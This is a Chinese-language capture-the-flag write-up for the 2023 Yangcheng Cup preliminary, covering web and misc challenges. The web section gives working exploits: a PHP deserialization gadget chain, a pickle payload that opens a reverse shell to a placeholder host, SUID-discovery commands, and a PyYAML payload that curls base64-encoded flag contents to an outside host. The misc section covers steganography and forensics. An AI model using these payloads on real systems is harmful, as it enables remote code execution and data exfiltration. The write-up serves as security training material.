2023羊城杯初赛misc&web wp

web

D0n’t pl4y g4m3!!!

访问/p0p.php,返回一个hint.zip

1
Ö_0 0vO Ow0 0w0 Ö_0 Ö_O Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0_Ö Ö_o owO O.0 owo Ö_o owO O.0 owo Ö_0 0wÖ O.0 0w0 Ö_0 OwO ov0 owo o_O O.Ö Övo

尊嘟假嘟翻译器O.o得到flag在/tmp/catcatf1ag.txt

利用 PHP<=7.4.21 Development Server源码泄露漏洞 得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
private $exp;
private $rce2;

public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}

class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{

return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}

function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
unserialize(prohib($a));
}
?>

一个php反序列化,从hint中得知flag位置不在根目录,所以Pro类可以舍弃
发现敏感函数call_user_func,所以最终应该要调用__call,而在Bei__destruct()存在函数调用,poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$a = new Bei();

$a -> CTF = new Yang();
$a -> CTF -> finish = new Cheng();
$a -> CTF -> finish -> name = array("finish"=>true);


$a -> fine = new Yang();
$a -> rce = "/tmp/catcatf1ag.txt";
$a -> fine -> finish = new Cheng();
$a -> fine -> finish -> name = array("finish"=>true);
$a -> fine -> now = array("YCB1"=>"highlight_file");

echo urlencode(serialize($a));

O%3A3%3A%22Bei%22%3A3%3A%7Bs%3A3%3A%22CTF%22%3BO%3A4%3A%22Yang%22%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3BN%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bb%3A1%3B%7D%7D%7Ds%3A4%3A%22fine%22%3BO%3A4%3A%22Yang%22%3A2%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3BN%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bb%3A1%3B%7D%7Ds%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A14%3A%22highlight_file%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A19%3A%22%2Ftmp%2Fcatcatf1ag.txt%22%3B%7D

最后那个过滤用highlight_file函数或者双写都可以绕过

Serpent

www.zip下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, session
from secret import secret

@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

访问/verification,进行session伪造,得到Hello admin, welcome to /ppppppppppick1e

访问/ppppppppppick1e,得到Hint: Source in /src0de

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message

return rsp

class GWHT():
def __init__(self):
pass

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

pickle反序列化rce

反弹shell

1
2
3
4
5
6
7
8
9
10
import pickle
import base64


payload= b'''(S'python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ip",port));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")''
ios
system
.'''

print(base64.b64encode(payload))

发现没有权限

查找有权限的命令

find /bin/ -perm 777或者find / -perm -u=s -type f 2>/dev/null

发现python3有权限,使用python3读flag
python3 -c 'print(open("/flag").read())'

ArkNights

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import uuid
from flask import *
from werkzeug.utils import *
app = Flask(__name__)
app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
@app.route('/')
def index():
name=request.args.get("name","name")
m1sery=[request.args.get("m1sery","Doctor.Boogipop")]
if(session.get("name")=="Dr.Boog1pop"):
blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
if blacklist:
return "bad hacker no way"
exec(f'for [{name}] in [{m1sery}]:print("strange?")')
else:
session['name'] = "Doctor"
return render_template("index.html",name=session.get("name"))
@app.route('/read')
def read():
file = request.args.get('file')
fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
if fileblacklist:
return "bad hacker!"
start=request.args.get("start","0")
end=request.args.get("end","0")
if start=="0" and end=="0":
return open(file,"rb").read()
else:
start,end=int(start),int(end)
f=open(file,"rb")
f.seek(start)
data=f.read(end)
return data
@app.route("/<path:path>")
def render_page(path):
print(os.path.pardir)
print(path)
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)
if __name__=='__main__':
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

有个任意文件读取,非预期解就直接读环境变量了

ezyaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import tarfile
from flask import Flask, render_template, request, redirect
from hashlib import md5
import yaml
import os
import re


app = Flask(__name__)

def waf(s):
flag = True
blacklist = ['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply']
for no in blacklist:
if no.lower() in str(s).lower():
flag= False
print(no)
break
return flag
def extractFile(filepath, type):

extractdir = filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)


if type == 'tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)
return tf.getnames()

@app.route('/', methods=['GET'])
def main():
fn = 'uploads/' + md5().hexdigest()
if not os.path.exists(fn):
os.makedirs(fn)
return render_template('index.html')


@app.route('/upload', methods=['GET', 'POST'])
def upload():

if request.method == 'GET':
return redirect('/')

if request.method == 'POST':
upFile = request.files['file']
print(upFile)
if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"

savePath = f"uploads/{upFile.filename}"
print(savePath)
upFile.save(savePath)

if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath, 'tar')
return render_template('result.html', path=savePath, files=zipDatas)
else:
return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"


@app.route('/src', methods=['GET'])
def src():
if request.args:
username = request.args.get('username')
with open(f'config/{username}.yaml', 'rb') as f:
Config = yaml.load(f.read())
return render_template('admin.html', username="admin", message="success")
else:
return render_template('index.html')


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

/upload路由中上传tar文件,然后通过/src路由进行yaml解析,存在PyYAML反序列化漏洞

poc

1
!!python/object/apply:os.system ["curl http://ip:7777/?flag=`cat /fl*|base64`"]

制作tar包
tar cPvf test.tar ../../config/config.yaml

上传后访问/src?username=config触发

misc

ai和nia的交响曲

upload.php中上传了一个flag1.png

其中每条黑线到下条黑线恰好8bit,把黑色当成0,白色当成1,竖着读取后转字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image

img = Image.open("1.png")
width, height = img.size
flag = ''

for i in range(width):
for j in range(height):
pixel = img.getpixel((i, j))[0]
flag += '1' if pixel >= 30 else '0'

with open('outs.txt', 'w') as f:
f.write(flag)

result = ''
for i in range(0, len(flag), 8):
byte = flag[i:i+8]
decimal = int(byte, 2)
result += chr(decimal)

print(result)

结尾得到HINT:BV1wW4y1R7Jv&&FLAG1:@i_n1a_l0v3S_

http流中还有一个flag2.zip,发现是伪加密

解压后的内容如下,其中还有0宽,但没什么用

1
2
3
4
5
6
7
8
9
10
11
12
00:04
00:01
00:22
00:04
00:01
00:22
00:10
00:01
00:13
00:09
00:01
00:21

在hint中给的视频地址去找字母,得到CAOCAOGAIFAN

组合后为flag:@i_n1a_l0v3S_CAOCAOGAIFAN

EZ_misc

高度不对,先爆破出正确的宽高

发现两个iend,猜测是snipping的CVE

Matryoshka

osfmount挂载,有三个盘

分别拿到encryptnormal_rar.rarnot_real_cat.jpg

其中rar可以分离出一张jpg,大小样式与另一张jpg一样,使用双图盲水印

使用veracrypt挂载encrypt,密码为watermark_is_fun

拿到KBAUYVCSKR5XK5TYM5SGC3LMNJXWY4BQPBPXSYLVL54TCZLCL5UHUM27NUYTI4JBEEQX2===‌‍

存在零宽隐写,解密后得到Matryoshka

base32后猜测是维吉尼亚

程序猿Quby

QUBY.png可以分离出一个带密码的rar

图片本身的信息是夏多密码,根据码表转换得到HAVEANICEDAY

注意1,6,12分别表示顺时针旋转180°,90°,0°

然后对图片解cloacked-pixel

python2 lsb.py extract QUBY.png out.txt HAVEANICEDAY

得到压缩包密码we1c0met0ycbCTF!!!,解压得到一段wav和两张xlsx表

xlsx表中有外源数据被隐藏了,大约是中间50行~1000行的部分被折叠了,展开再改颜色能看到两种不同的数字

python提取数字后转换成10,画图后两张图拼在一起

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from PIL import Image
import pandas
s=55
s1=60
e=1023
e1=1028
l=0
r=63


img1=Image.new("1",(1050,140))

x1=pandas.read_excel("1.xlsx")
x1values=x1.values
for i in range(s-2,e-2):
for j in range(0,r):
if x1values[i][j]>=5:
img1.putpixel((i,j),255)
else:
img1.putpixel((i,j),0)


x2=pandas.read_excel("2.xlsx")
x2values=x2.values
for i in range(s1-2,e1-2):
for j in range(0,r):
if x2values[i][j]>=5:
img1.putpixel((i-5,j+63),255)
else:
img1.putpixel((i-5,j+63),0)
img1=img1.transpose(Image.FLIP_LEFT_RIGHT)
img1.save('img.png')

密码w0wyoudo4goodj0b

对于wav的带密码的隐写,猜测是DeepSound

解密得到flag.txtfl4g.txt

fl4g.txt中的字符串先base85在base32,得到sQ+3ja02RchXLUFmNSZoYPlr8e/HVqxwfWtd7pnTADK15Evi9kGOMgbuIzyB64CJ

观察发现恰好是64位,从a-z,A-Z,0-9,+,/ 猜测是base换表,flag.txt中的值作为密文

两只老虎

只给了一张图片,但是发现图片后面的IDAT突然变小了

所以可以删掉前面所有长65536的IDAT块再删一个34018的IDAT块(参考正常的png图片)

爆破宽高,得到右边那张图片,发现右边多了一些像素

原来的图片是1134x720,变成了1144x720

红色部分全是(255,0,0),既然两图类似,就放stegsolve尝试xor,发现很多小像素点不规律分布

最后发现可以提取每行非黑色像素点的个数去转字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image
img = Image.open('solved.bmp')
w,h = img.size
count = []
for i in range(h):
tmp = 0
for j in range(w):
pixel = img.getpixel((j,i))
if(pixel != (0,0,0)):
tmp += 1
if(tmp!=10):
count.append(tmp-10)
print(count)

count = ''.join(chr(num) for num in count)
print(count)
#[68, 65, 83, 67, 84, 70, 123, 116, 87, 111, 95, 116, 49, 103, 101, 114, 115, 95, 114, 85, 110, 95, 102, 64, 115, 116, 125]
#DASCTF{tWo_t1gers_rUn_f@st}

Easy_VMDK

小明这次使用了32Bytes的随机密码,这次总不会被爆破出来了吧!!
小明压缩了好了题目后,他发现压缩后大小比压缩前还大啊,这不就没有压缩啊,这是为什么啊!

对压缩包进行明文攻击,本地看下自己的几个vmdk文件头,发现均为4B 44 4D 56 01 00 00 00 03 00 00 00

拿到一个flag.zipkey.txt

flag.zip分离出一个带密码的压缩包和一个py脚本,其中是key.txt的加密过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import cv2
import base64
import binascii


img = cv2.imread("key.png")
r, c = img.shape[:2]
print(r, c)
# 137 2494

with open("key.txt", "w") as f:
for y in range(r):
for x in range(c):
uu_byte = binascii.a2b_uu(', '.join(map(lambda x: str(x), img[y, x])) + "\n")
f.write(base64.b64encode(uu_byte).decode() + "\n")

解密过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import cv2
import base64
import numpy as np

# 读取 key.txt 文件内容
with open("key.txt", "r") as f:
lines = f.readlines()

# 创建空白图像
img = np.zeros((137, 2494), dtype=np.uint8)

# 还原图像像素值
for y in range(137):
for x in range(2494):
# 解码 base64 数据
encoded_data = lines[y * 2494 + x].strip()
decoded_data = base64.b85decode(encoded_data.encode())

# 获取像素值
pixel_value = int.from_bytes(decoded_data, byteorder='big') % 256

# 设置图像像素
img[y, x] = pixel_value

# 保存还原后的图像
cv2.imwrite("restored_key.png", img)

用这个密码去解压,得到flag

GIFuck

根据帧长切割,利用ocr进行批量识别

++++[->++++<]>[->++++++<]>-[->+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]+++<++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]<+++[->++++<]>[->-<]>[-<<<+>>>]<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]+++<++[->++++<]>[->-<]>[-<<<+>>>]+<++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]<+++<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<++[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]++[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]<<+++++++++[->+++++++++<]>++.<+++++[->+++++<]>+++.+++..+++++++.<+++++++++[->---------<]>--------.<++++++++[->++++++++<]>++.<++++[->++++<]>+++.-.<+++++++++[->---------<]>---.<+++++++++[->+++++++++<]>++++++++.<+++[->---<]>-.++++++.---.<+++++++++[->---------<]>-.<++++++++[->++++++++<]>++++++.++++++.<+++[->---<]>--.++++++.<++++++++[->--------<]>-------.<++++++++[->++++++++<]>+++++++++.<+++[->+++<]>+.<+++++++++[->---------<]>--.<++++++++[->++++++++<]>++++++++++++++.+.+++++.<+++++++++[->---------<]>---.<++++++++[->++++++++<]>++++++++.---.<+++[->+++<]>++++.<+++[->---<]>----.<+++++++[->-------<]>------.[-]<

会输出Sorry but your flag is not here.

真正的flag藏在内存中


2023羊城杯初赛misc&web wp
https://www.dr0n.top/posts/58b7474e/
作者
dr0n
发布于
2023年9月3日
更新于
2024年3月22日
许可协议